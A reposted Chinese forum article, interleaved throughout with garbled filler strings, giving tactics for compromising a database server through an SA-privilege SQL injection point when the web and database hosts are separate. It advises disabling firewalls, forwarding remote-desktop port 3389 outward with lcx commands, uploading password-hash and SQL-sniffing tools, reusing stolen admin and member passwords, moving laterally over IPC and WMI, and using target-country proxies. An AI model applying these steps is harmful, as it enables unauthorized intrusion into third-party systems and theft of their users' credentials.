当你碰到SA的注入点,可以执行命令,但是web与数据库分离,你都会怎么做呢,当数据库不服务器不能连接外网的时候,是不是只想着从web搞呢,这篇文章从t00ls转载过来,希望对大家sa权限的注入点数据库web分离提供一些渗透思路。
/ y: _2 j! |: o7 g" r
7 ?5 P: _. }5 u* |( ^ i* X' H
* _3 l( C3 d; u- J8 }% l# R% E) ?1 `# i. B& R, a
SA点,system权限,可执行命令,web和db分离.DB机器不上网(一般指中马不上线,lcx反弹不出)
5 r9 o j" A7 q* }) ~; w
6 ~: h/ q. X3 l5 q9 ?; T7 X8 i3 Y8 z1 b! _+ X& g
一、DB机有公网IP.* i H% ?, M- ]$ \% \7 m+ N: J
1 g9 o" p ^- P9 p0 K) D* {1:执行命令把系统防火墙和ip策略停止,netstat -an找到3389端口尝试连接.
, m: @, a& b; ~9 I6 z2 N
% U0 U" K, D4 n! g+ P) e* N$ a; R# G# ~% i: u7 P* ~
2:从内往外扫描.把命令行下的s扫描器转成vbs传上DB机器生成exe扫描外网一台做了端口策略的机器.这台外网机器开放所有端口.(可以到网上找这 样的 机器.) 如果扫描结果有开放端口,证明在这台DB机可以把3389转到外面机器.比如扫到80 那就lcx -slave ip 80 127.0.0.1 3389. I) V3 f( f) R% X) y _6 ?$ @7 n, F
- h" J9 h% e0 v2 f* _+ j
* K# D# b& l7 s
3:尽量多拿密码.用vbs的方法上传gethash,sqlsniffer类的工具.拿到系统和mssql的密 码,数据库表的后台管理员密码,member表的最前几个用户密码.这些密码可以用来测试web后台,web的3389 ftp等.当然事先要对web机器完整扫描一遍. www.2cto.com
4 p2 ~1 J6 _3 @) Z3 A) r, C7 ?1 c0 R
1 N# r$ H P1 \$ w; x
4,nmap扫描.用nmap扫描web和db机器的1-65535端口.如果发现db机器显示有closed的端口.那恭喜你,你可以lcx -tran 把3389转发到该端口直接登陆.firewalk也有类似功能.但对代理防火墙无用.! v* j, l* T, M. {
5 D% a/ Q- I2 x, x; w: v2 |2 [% u( I8 M& m
5 ]! g- E2 Z2 u7 z二、DB机只有内网IP
. H, }6 Q3 x9 s C* G
% |( A* n, ~! u9 ], L: e1 N1:尽量多拿密码来net use到web机器.这个过程需要极大的耐心 , 拿密码尝试登陆web后台等.5 u' D) c4 T$ f% v
2 Y) }0 D0 O K3 F8 P, Z% u. a5 m6 Z5 _2 K9 k8 e
2:停掉防火墙和IP策略再从内往外扫描.
! M+ f* u3 Q+ Y7 A6 t
2 @ j3 u7 z: S! `3 \7 O$ p6 n& W6 M: C, k u/ A( a2 y% ]# F; y [
3: ipconfig /dispalydns如果发现有公网的域名,极大可能是路由做了手脚.机会还是有的.
: o {+ a2 L# y* w- K, t( O2 [5 h1 q# ^7 ?0 E( x" o/ I. R3 j% D
! @; l9 @# D, u9 y
4:学会密码规律分析往往会有惊喜./ J" b9 D R& U; {" o6 w
7 Q! R/ d- @) Q2 K
8 [/ u3 Q% u! I2 O$ m) t* r5,在sa点里执行命令渗透内网,找可上网的机器.isql,ipc共享,wmi等
( s& m1 \0 T2 u
1 |2 t/ b' n1 H# h1 b/ H9 r
: W0 z; c9 b1 F& E有些地区或国家会禁止别的国家连接一些端口,所以拥有目标国代理或VPN是很重要的 |